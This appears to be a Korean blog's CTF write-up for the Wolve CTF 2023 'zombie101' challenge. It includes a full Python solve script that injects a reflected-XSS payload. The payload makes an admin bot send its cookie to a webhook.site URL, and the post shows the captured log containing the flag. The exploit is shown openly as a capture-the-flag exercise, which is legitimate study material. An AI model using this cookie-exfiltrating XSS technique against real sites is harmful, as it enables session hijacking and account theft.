본문 바로가기

웹해킹/CTF

Wolve CTF 2023 zombie101 Writeup

반응형

Wolve CTF 2023 zombie101 Writeup

Description

Can you survive the Zombie gauntlet!?

First in a sequence of four related challenges. Solving one will unlock the next one in the sequence.

They all use the same source code but each one has a different configuration file.

This first one is a garden variety "steal the admin's cookie".

Good luck!

Please don't use any automated tools like dirbuster/sqlmap/etc.. on ANY challenges. They won't help anyway.

 

문제에 들어가면 위와 같은 사이트가 나오고 /zombie?show= 에서 XSS가 발생한다. 따라서 visit?url= 에서 /zombie?show를 통해 XSS를 해서 쿠키에 접근하면 되는 문제다.

 

다만 여기서 뭐 때문인지 모르겠지만, document.cookie 접근이 안되었다. 그래서 드림핵 tools를 쓰다가 웹훅을 썼고, 

 

 

 

 

import requests
import urllib.parse

r = requests.post("https://webhook.site/token")
webhook_id = r.json()["uuid"]
webhook_url = f"https://webhook.site/{webhook_id}"


visit = "https://zombie-101-tlejfksioa-ul.a.run.app/visit?url="
show = "https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show="
payload = f"<script>fetch('{webhook_url}?cookie='+document.cookie);</script>"

url = visit + show + urllib.parse.quote_plus(show + urllib.parse.quote_plus(payload))
r = requests.get(url)

print(r.text)

r = requests.get(f"https://webhook.site/token/{webhook_id}/requests?sorting=newest")
print(r.json())

웹훅 사이트에 먼저 요청을 보내서 웹훅 ID를 받은 다음에 xxs 코드를 만든다. 이때 urllib.parse를 통해서 url 인코딩을 진행한다. 

 

admin bot has visited your url
{'data': [{'uuid': '48f744e3-2c8d-475e-b475-68c6186c286b', 'type': 'web', 'token_id': '78033857-6b26-4357-a27c-9b68186d1bbe', 'ip': '2600:1900:2000:6d::2', 'hostname': 'webhook.site', 'method': 'GET', 'user_agent': 'Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4', 'content': '', 'query': {'cookie': 'flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}'}, 'headers': {'connection': ['close'], 'host': ['webhook.site'], 'user-agent': ['Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4'], 'content-length': [''], 'content-type': ['']}, 'url': ' https://webhook.site/78033857-6b26-4357-a27c-9b68186d1bbe?cookie=flag=wctf%7Bc14551c-4dm1n-807-ch41-n1c3-j08-93261%7D', 'size': 0, 'files': [], 'created_at': '2023-03-21 01:49:17', 'updated_at': '2023-03-21 01:49:17', 'sorting': 1679363357289031, 'custom_action_output': []}], 'total': 1, 'per_page': 50, 'current_page': 1, 'is_last_page': True, 'from': 1, 'to': 1}

 

 

 

728x90

'웹해킹 > CTF' 카테고리의 다른 글

CCE-2023 연습문제 풀이 - baby web  (0) 2023.06.06
BucketCTF 2023 SQLi-1 Writeup  (0) 2023.04.11
b01lers CTF warmup Writeup  (0) 2023.03.20
wolvctf Charlotte's Web Writeup  (0) 2023.03.20
Nullcon Berlin HackIM 2023 CTF - WEB zpr Writeup  (0) 2023.03.12